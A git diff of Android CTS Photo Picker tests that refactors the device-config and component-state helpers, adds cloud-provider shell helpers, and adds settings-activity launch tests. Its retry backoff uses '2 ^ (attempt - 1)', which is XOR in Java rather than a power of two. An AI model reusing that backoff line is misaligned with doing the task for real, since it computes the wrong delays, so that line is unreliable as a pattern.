+ private static void writeDeviceConfigProp(@NonNull String namespace, @NonNull String name,
+ @NonNull String value) {
getUiAutomation().adoptShellPermissionIdentity(WRITE_DEVICE_CONFIG);
try {
- DeviceConfig.setProperty(NAMESPACE_MEDIAPROVIDER, name, value,
+ DeviceConfig.setProperty(namespace, name, value,
/* makeDefault*/ false);
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
- private static void deleteDeviceConfigProp(@NonNull String name) {
+ private static void deleteDeviceConfigProp(@NonNull String namespace, @NonNull String name) {
try {
getUiAutomation().adoptShellPermissionIdentity(WRITE_DEVICE_CONFIG);
if (SdkLevel.isAtLeastU()) {
- DeviceConfig.deleteProperty(NAMESPACE_MEDIAPROVIDER, name);
+ DeviceConfig.deleteProperty(namespace, name);
} else {
// DeviceConfig.deleteProperty API is only available from T onwards.
try {
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
.executeShellCommand(
String.format("device_config delete %s %s",
- NAMESPACE_MEDIAPROVIDER, name));
+ namespace, name));
} catch (IOException e) {
- Log.e(TAG, "Could not delete device_config " + name, e);
+ Log.e(TAG, String.format("Could not delete device_config %s / %s",
+ namespace, name), e);
}
}
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
+
+ /**
+ * Set cloud provider in the device to the provided authority.
+ * If the provided cloud authority equals {@link PhotoPickerBaseTest#INVALID_CLOUD_PROVIDER},
+ * the cloud provider will not be updated.
+ */
+ public static void setCloudProvider(@Nullable UiDevice sDevice,
+ @Nullable String authority) throws IOException {
+ if (INVALID_CLOUD_PROVIDER.equals(authority)) {
+ Log.w(TAG, "Cloud provider is invalid. "
+ + "Ignoring the request to set the cloud provider to invalid");
+ return;
+ }
+ if (authority == null) {
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method set_cloud_provider --extra"
+ + " cloud_provider:n:null");
+ } else {
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method set_cloud_provider --extra"
+ + " cloud_provider:s:"
+ + authority);
+ }
+ }
+
+ /**
+ * @return the current cloud provider.
+ */
+ public static String getCurrentCloudProvider(UiDevice sDevice) throws IOException {
+ final String out =
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method get_cloud_provider");
+ return extractCloudProvider(out);
+ }
+
+ private static String extractCloudProvider(String out) {
+ String[] splitOutput;
+ if (TextUtils.isEmpty(out) || ((splitOutput = out.split("=")).length < 2)) {
+ throw new RuntimeException("Could not get current cloud provider. Output: " + out);
+ }
+ String cloudprovider = splitOutput[1];
+ cloudprovider = cloudprovider.substring(0, cloudprovider.length() - 3);
+ if (cloudprovider.equals("null")) {
+ return null;
+ }
+ return cloudprovider;
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
index 08639ae26e8..2146a8558d0 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
@@ -16,28 +16,33 @@
package android.photopicker.cts;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.PICKER_SETTINGS_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.isPhotoPickerVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActionBarIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActivityIsVisible;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsCloudProviderOptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsDescriptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsFragmentContainerExists;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsTitleIsVisible;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
import android.os.Build;
import android.os.UserHandle;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.PhotoPickerUiUtils;
import android.provider.MediaStore;
+import android.util.Log;
import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
import androidx.test.filters.LargeTest;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
@@ -46,65 +51,73 @@ import androidx.test.uiautomator.UiSelector;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.modules.utils.build.SdkLevel;
import org.junit.After;
-import org.junit.AfterClass;
import org.junit.Assume;
-import org.junit.BeforeClass;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
/**
- * Photo Picker tests for settings page launched from the overflow menu in PhotoPickerActivity or
- * the Settings app.
+ * Photo Picker tests for settings activity launched from PhotoPickerActivity or intent.
*/
-// TODO(b/195009187): Enabling settings page requires setting allowed_cloud_providers device config.
-// We currently can't do this in R.
@RunWith(BedsteadJUnit4.class)
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
+ private static final String TAG = PhotoPickerSettingsTest.class.getSimpleName();
private static final String EXTRA_TAB_USER_ID = "user_id";
private static final String TAB_CONTAINER_RESOURCE_ID =
REGEX_PACKAGE_NAME + ":id/tab_container";
private static final String TAB_LAYOUT_RESOURCE_ID = REGEX_PACKAGE_NAME + ":id/tabs";
private static final String PERSONAL_TAB_TITLE_ENGLISH = "Personal";
private static final String WORK_TAB_TITLE_ENGLISH = "Work";
-
- @BeforeClass
- public static void setUpBeforeClass() {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
-
- // Enable Settings menu item in PhotoPickerActivity's overflow menu.
- PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
- /* allowedCloudProviders */ sTargetPackageName);
- }
-
- @AfterClass
- public static void tearDownClass() {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
+ private static final String DEFAULT_APP_LABEL = "Photo Picker Device Tests";
+ private static int sPhotoPickerSettingsActivityState;
+ private Intent mSettingsIntent;
+ @Nullable
+ private static DeviceStatePreserver sDeviceStatePreserver;
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+
+ sPhotoPickerSettingsActivityState = PhotoPickerComponentUtils
+ .enableAndGetOldState(PICKER_SETTINGS_ACTIVITY_COMPONENT);
+
+ mSettingsIntent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
+
+ // Only enable cloud media in S+ because R cannot use Device Config APIs.
+ if (SdkLevel.isAtLeastS()) {
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
+
+ // Enable Settings menu item in PhotoPickerActivity's overflow menu.
+ PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
+ /* allowedCloudProviders */ sTargetPackageName);
}
}
@After
- public void tearDown() {
+ public void tearDown() throws Exception {
if (mActivity != null) {
mActivity.finish();
}
+
+ PhotoPickerComponentUtils.setState(PICKER_SETTINGS_ACTIVITY_COMPONENT,
+ sPhotoPickerSettingsActivityState);
+
+ // Reset CloudMedia configs.
+ if (SdkLevel.isAtLeastS()) {
+ sDeviceStatePreserver.restoreCloudProviderState();
+ }
}
@Test
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchFromOverflowMenu_WorkDisabled() throws Exception {
+ String cmpAppLabel = getCmpAppLabel();
+
// Launch PhotoPickerActivity.
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -121,6 +134,7 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
verifySettingsTitleIsVisible();
verifySettingsDescriptionIsVisible();
verifySettingsFragmentContainerExists();
+ verifySettingsCloudProviderOptionIsVisible(cmpAppLabel);
// Verify Tab container (to switch profiles) is not visible since Work profile is disabled.
verifySettingsTabContainerIsNotVisible();
@@ -129,11 +143,9 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInPersonalProfile_WorkEnabled() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -144,12 +156,10 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInWorkProfile() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
- intent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ mSettingsIntent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -179,4 +189,57 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
private static UiObject findObject(@NonNull String resourceId) {
return sDevice.findObject(new UiSelector().resourceIdMatches(resourceId));
}
+
+ @Test
+ // This test is required for API coverage in Android R
+ public void testSettingsLaunchFromIntent() throws InterruptedException {
+ // Launch PhotoPickerSettingsActivity.
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
+
+ // Verify PhotoPickerSettingsActivity is launched and visible.
+ verifySettingsActivityIsVisible();
+ verifySettingsActionBarIsVisible();
+ verifySettingsTitleIsVisible();
+ verifySettingsDescriptionIsVisible();
+ verifySettingsFragmentContainerExists();
+ }
+
+
+ private void launchSettingsActivityWithRetry(long maxRetries, long backoffSeedInMillis)
+ throws InterruptedException {
+ for (int attempt = 0; attempt <= maxRetries; attempt++) {
+ if (attempt > 0) {
+ // If the Settings Activity component has been recently enabled, it may take some
+ // time for the resolver to resolve the intent to the right activity.
+ long backoffTimeInMillis = backoffSeedInMillis * (2 ^ (attempt - 1));
+ Log.e(TAG, "Retry launching activity for " + mSettingsIntent
+ + " after backoff " + backoffTimeInMillis);
+ Thread.sleep(backoffTimeInMillis);
+ }
+
+ try {
+ mActivity.startActivity(mSettingsIntent);
+ sDevice.waitForIdle();
+ return;
+ } catch (ActivityNotFoundException e) {
+ Log.e(TAG, "Activity not found for intent " + mSettingsIntent);
+ }
+ }
+
+ Log.e(TAG, "Intent " + mSettingsIntent + " does not resolve to any component.");
+ throw new AssertionError("Cannot find activity for intent " + mSettingsIntent);
+ }
+
+ @NonNull
+ private String getCmpAppLabel() {
+ PackageManager pm = mContext.getPackageManager();
+ {
+ try {
+ ApplicationInfo applicationInfo = pm.getApplicationInfo(sTargetPackageName, 0);
+ return (String) pm.getApplicationLabel(applicationInfo);
+ } catch (PackageManager.NameNotFoundException e) {
+ return DEFAULT_APP_LABEL;
+ }
+ }
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 293cbacd05c..3d7e6f19281 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -16,8 +16,7 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImageWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createMj2VideosAndGetUris;
@@ -26,6 +25,8 @@ import static android.photopicker.cts.util.PhotoPickerFilesUtils.createSvgImage;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideoWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideosAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
@@ -49,7 +50,7 @@ import android.media.AudioAttributes;
import android.media.AudioFocusRequest;
import android.media.AudioManager;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.provider.MediaStore;
import androidx.test.uiautomator.UiObject;
@@ -92,7 +93,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
public void setUp() throws Exception {
super.setUp();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(getDocumentsUiPackageName());
}
@@ -107,7 +109,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Test
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index 48c4a1dabfa..67661d93171 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -15,10 +15,9 @@
*/
package android.photopicker.cts;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
@@ -77,7 +76,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = RemoteVideoPreviewTest.class.getSimpleName();
private MediaGenerator mCloudPrimaryMediaGenerator;
private final List<Uri> mUriList = new ArrayList<>();
@@ -92,19 +91,14 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
private CloudMediaSurfaceControllerImpl mSurfaceControllerListener;
// This is required to assert the order in which the APIs are called.
private InOrder mAssertInOrder;
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
@@ -113,13 +107,7 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
@AfterClass
public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@Before
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
index a2b4a21c0ae..9a260526776 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
@@ -16,88 +16,89 @@
package android.photopicker.cts.util;
-import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getPhotoPickerPackageName;
import android.Manifest;
import android.app.Instrumentation;
import android.content.ComponentName;
-import android.content.Intent;
import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.function.Supplier;
-public class GetContentActivityAliasUtils {
+/**
+ * Util methods for Photo Picker related components.
+ */
+public class PhotoPickerComponentUtils {
private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(5);
private static final long POLLING_SLEEP_MILLIS = 100;
- private static ComponentName sComponentName = new ComponentName(
+ public static final ComponentName GET_CONTENT_ACTIVITY_COMPONENT = new ComponentName(
getPhotoPickerPackageName(),
"com.android.providers.media.photopicker.PhotoPickerGetContentActivity");
- public static int enableAndGetOldState() throws Exception {
+ public static final ComponentName PICKER_SETTINGS_ACTIVITY_COMPONENT = new ComponentName(
+ getPhotoPickerPackageName(),
+ "com.android.providers.media.photopicker.PhotoPickerSettingsActivity");
+
+ /**
+ * Returns the current state of the given component and enables it.
+ */
+ public static int enableAndGetOldState(@NonNull ComponentName componentName) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
final PackageManager packageManager = inst.getContext().getPackageManager();
if (isComponentEnabledSetAsExpected(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED)) {
return PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
}
- final int currentState = packageManager.getComponentEnabledSetting(sComponentName);
+ final int currentState = packageManager.getComponentEnabledSetting(componentName);
updateComponentEnabledSetting(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED);
return currentState;
}
- public static void restoreState(int oldState) throws Exception {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- updateComponentEnabledSetting(inst.getContext().getPackageManager(), oldState);
- }
-
/**
- * Clears the package data.
+ * Sets state of the given component to the given state.
*/
- public static void clearPackageData(String packageName) throws Exception {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .executeShellCommand("pm clear " + packageName);
-
- // We should ideally be listening to an effective measure to know if package data was
- // cleared, like listening to a broadcasts or checking a value. But that information is
- // very package private and not available.
- Thread.sleep(500);
- }
-
- public static String getDocumentsUiPackageName() {
- final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
- intent.setType("*/*");
- return getActivityPackageNameFromIntent(intent);
+ public static void setState(@NonNull ComponentName componentName, int oldState)
+ throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ updateComponentEnabledSetting(inst.getContext().getPackageManager(),
+ componentName, oldState);
}
- private static void updateComponentEnabledSetting(PackageManager packageManager,
+ private static void updateComponentEnabledSetting(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
inst.getUiAutomation().adoptShellPermissionIdentity(
Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE);
try {
- packageManager.setComponentEnabledSetting(sComponentName, state,
+ packageManager.setComponentEnabledSetting(componentName, state,
PackageManager.DONT_KILL_APP);
} finally {
inst.getUiAutomation().dropShellPermissionIdentity();
}
- waitForComponentToBeInExpectedState(packageManager, state);
+ waitForComponentToBeInExpectedState(packageManager, componentName, state);
}
- private static void waitForComponentToBeInExpectedState(PackageManager packageManager,
+ private static void waitForComponentToBeInExpectedState(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) throws Exception {
- pollForCondition(() -> isComponentEnabledSetAsExpected(packageManager, state),
+ pollForCondition(() ->
+ isComponentEnabledSetAsExpected(packageManager, componentName, state),
"Timed out while waiting for component to be enabled");
}
@@ -112,20 +113,9 @@ public class GetContentActivityAliasUtils {
throw new TimeoutException(errorMessage);
}
- private static boolean isComponentEnabledSetAsExpected(PackageManager packageManager,
+ private static boolean isComponentEnabledSetAsExpected(@NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) {
- return packageManager.getComponentEnabledSetting(sComponentName) == state;
- }
-
- @NonNull
- private static String getPhotoPickerPackageName() {
- return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
- }
-
- @NonNull
- private static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
- return ri.activityInfo.packageName;
+ return packageManager.getComponentEnabledSetting(componentName) == state;
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 9a39a4006cc..8c2641239e9 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -87,7 +87,7 @@ public class PhotoPickerFilesUtils {
return createdImagesData;
}
- public static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception {
+ private static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception {
return getPermissionAndStageMedia(R.raw.lg_g4_iso_800_jpg,
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite);
}
@@ -118,6 +118,15 @@ public class PhotoPickerFilesUtils {
return uriList;
}
+ /**
+ * Return media id from a given Uri
+ * @param Uri uri to parse
+ * @return String media id
+ */
+ public static String getMediaId(Uri uri) throws Exception {
+ return uri.getLastPathSegment();
+ }
+
public static void deleteMedia(Uri uri, Context context) throws Exception {
try {
ProviderTestUtils.setOwner(uri, context.getPackageName());
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
new file mode 100644
index 00000000000..f767d7a8f6e
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class PhotoPickerPackageUtils {
+ /**
+ * Clears the package data.
+ */
+ public static void clearPackageData(String packageName) throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand("pm clear " + packageName);
+
+ // We should ideally be listening to an effective measure to know if package data was
+ // cleared, like listening to a broadcasts or checking a value. But that information is
+ // very package private and not available.
+ Thread.sleep(500);
+ }
+
+ /**
+ * Return package name of Documents UI.
+ */
+ @NonNull
+ public static String getDocumentsUiPackageName() {
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+ intent.setType("*/*");
+ return getActivityPackageNameFromIntent(intent);
+ }
+
+ /**
+ * Return the package name of the given intent.
+ */
+ @NonNull
+ public static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
+ return ri.activityInfo.packageName;
+ }
+
+ @NonNull
+ public static String getPhotoPickerPackageName() {
+ return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index b4643151f4b..2bbe69ea7b4 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -20,6 +20,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.text.format.DateUtils;
+import androidx.annotation.NonNull;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiScrollable;
@@ -34,7 +35,7 @@ import java.util.List;
public class PhotoPickerUiUtils {
public static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
- public static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
+ private static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
public static final String REGEX_PACKAGE_NAME =
"com(.google)?.android.providers.media(.module)?";
@@ -142,6 +143,16 @@ public class PhotoPickerUiUtils {
.isTrue();
}
+ /**
+ * Verify if the app label of the {@code sTargetPackageName} is visible on the UI.
+ */
+ public static void verifySettingsCloudProviderOptionIsVisible(@NonNull String cmpLabel) {
+ assertWithMessage("Timed out waiting for cloud provider option on settings activity")
+ .that(new UiObject(new UiSelector().textContains(cmpLabel))
+ .waitForExists(TIMEOUT))
+ .isTrue();
+ }
+
public static void verifySettingsFragmentContainerExists() {
assertWithMessage("Timed out waiting for settings fragment container to appear")
.that(new UiObject(new UiSelector()
@@ -170,27 +181,4 @@ public class PhotoPickerUiUtils {
uiObject.click();
uiDevice.waitForIdle();
}
-
- public static String getBannerPrimaryText() throws Exception {
- final UiObject bannerPrimaryText = findBannerPrimaryText();
- assertWithMessage("Timed out waiting for the banner to appear")
- .that(bannerPrimaryText.waitForExists(TIMEOUT))
- .isTrue();
- return bannerPrimaryText.getText();
- }
-
- public static UiObject findBannerPrimaryText() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/banner_primary_text"));
- }
-
- public static UiObject findBannerDismissButton() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/dismiss_button"));
- }
-
- public static UiObject findBannerActionButton() {
- return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/action_button"));
- }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
index 7caeb6ad833..4d1e35b4655 100644
